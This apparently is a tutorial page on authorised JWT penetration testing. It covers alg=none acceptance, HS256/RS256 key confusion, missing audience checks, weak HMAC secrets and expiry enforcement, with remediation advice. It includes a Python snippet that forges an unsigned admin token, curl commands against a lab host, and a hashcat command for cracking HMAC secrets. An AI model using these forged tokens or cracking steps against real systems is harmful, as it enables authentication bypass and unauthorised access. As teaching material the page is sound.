JWT Testing
JWT tokens are bearer credentials. The common bugs are alg=none acceptance, HS256/RS256 confusion, weak HMAC keys, missing audience checks, and over-long expiries. Testing for them in an authorised engagement means sending crafted tokens and watching for unexpected acceptance — never extracting data the RoE forbids.
Authorised JWT testing — common bugs, minimum PoC
EXAMPLE
# 1) Rules of engagement (excerpt — must be signed before any run)
# - Target: https://target.lab.example.test (staging mirror, no prod data)
# - Window: 2026-06-11 09:00 - 17:00 AEST
# - Scope: JWT verification logic in /api/auth/* and /api/admin/*
# - Off-limits: prod hosts, real users, exfiltration of tokens belonging to others.
# - PoC policy: prove the bug WITHOUT escalating to actions outside the test account.
# - Stop: 5xx burst, incident-channel page, RoE end time.
# 2) Capture a valid token first — log in as the test user
TOKEN=$(curl -s -X POST https://target.lab.example.test/api/auth/login \
-H 'content-type: application/json' \
-d '{"email":"qa-test@target.lab","password":"<provided>"}' \
| jq -r .token)
# 3) Decode the header and payload (NOT a security boundary — just base64url)
echo "$TOKEN" | cut -d. -f1 | base64 -d | jq . # header
echo "$TOKEN" | cut -d. -f2 | base64 -d | jq . # claims
# 4) Test: alg=none acceptance
# Craft a token with alg=none, no signature, claim role=admin.
# A correctly written verifier REJECTS with 401; a vulnerable one accepts.
python3 - <<'PY'
import base64, json
def b64(d): return base64.urlsafe_b64encode(d).rstrip(b'=').decode()
header = b64(b'{"alg":"none","typ":"JWT"}')
payload = b64(json.dumps({'sub':'qa-test','role':'admin','exp':9999999999}).encode())
print(f'{header}.{payload}.')
PY
# curl with the forged token — expect 401 if the bug is NOT present.
curl -s -o /dev/null -w '%{http_code}\n' \
-H "authorization: Bearer <forged>" \
https://target.lab.example.test/api/admin/users
# 5) Test: HS256 vs RS256 key-confusion
# The server expects RS256 (public key verification). A vulnerable server
# also accepts HS256 and uses the RSA public key as the HMAC secret.
# Steps (sketch only — DO NOT run against any unscoped target):
# - Fetch the server's public key from the .well-known/jwks.json endpoint
# - Re-sign a tampered payload with HS256 using that public key as the secret
# - Send the token; success indicates the bug.
# - In the report, propose the fix: explicit algorithms=['RS256'] in the verifier.
# 6) Test: missing audience check
# Issue a token from a different scope ('aud': 'support-bot') and replay
# it against the customer API. If accepted, the verifier does not check 'aud'.
# 7) Test: weak HMAC secret
# For HS256 tokens, attempt a SHORT dictionary attack OFFLINE
# (no server traffic) with a small wordlist of common defaults.
# A weak secret cracks in seconds; a strong one will not.
# Tool: hashcat -m 16500 token.jwt rockyou-short.txt
# REPORT it; do not use the cracked secret to access anything.
# 8) Test: expired/expiry-not-enforced
# Modify 'exp' to a past timestamp; re-sign with the real secret if you
# have access to a test signer. If the server still accepts, expiry is not
# being checked.
# 9) Report — one finding per page, plain language
cat <<'EOF'
## Finding: JWT verifier accepts alg=none
Severity: Critical (authentication bypass)
Endpoint: POST /api/admin/users
Steps: Submit the forged token in step 4 with role=admin.
Response: 200 OK (expected: 401)
Fix: In the verifier, pin algorithms=['RS256']; reject 'none' and any
algorithm not on the allowlist BEFORE trusting the header's alg.
Reference: RFC 7518 §6.1; CVE-2015-9235 family.
EOF
Why it matters
Document the fix in code-level detail, not just the finding. The remediation that gets shipped fastest is the one that already names the function, the parameter, and the correct value (e.g., `jwt.verify(token, key, { algorithms: ["RS256"], audience: "shop-api" })`). A clean PoC plus a concrete fix is what triages quickly.
Tip: Tweak the snippet with Try it Yourself », then sit the quiz at the bottom of the page.
Example
Example
# JWT checks (on AUTHORISED apps): # - alg=none accepted? → critical # - Public key confusion (HS256 with the public RSA key as secret)? # - Expired token still accepted? # - kid header path-traversal? # Defence: pin algorithm, validate signature first, reject alg=none.Try it Yourself »
Discussion
Loading…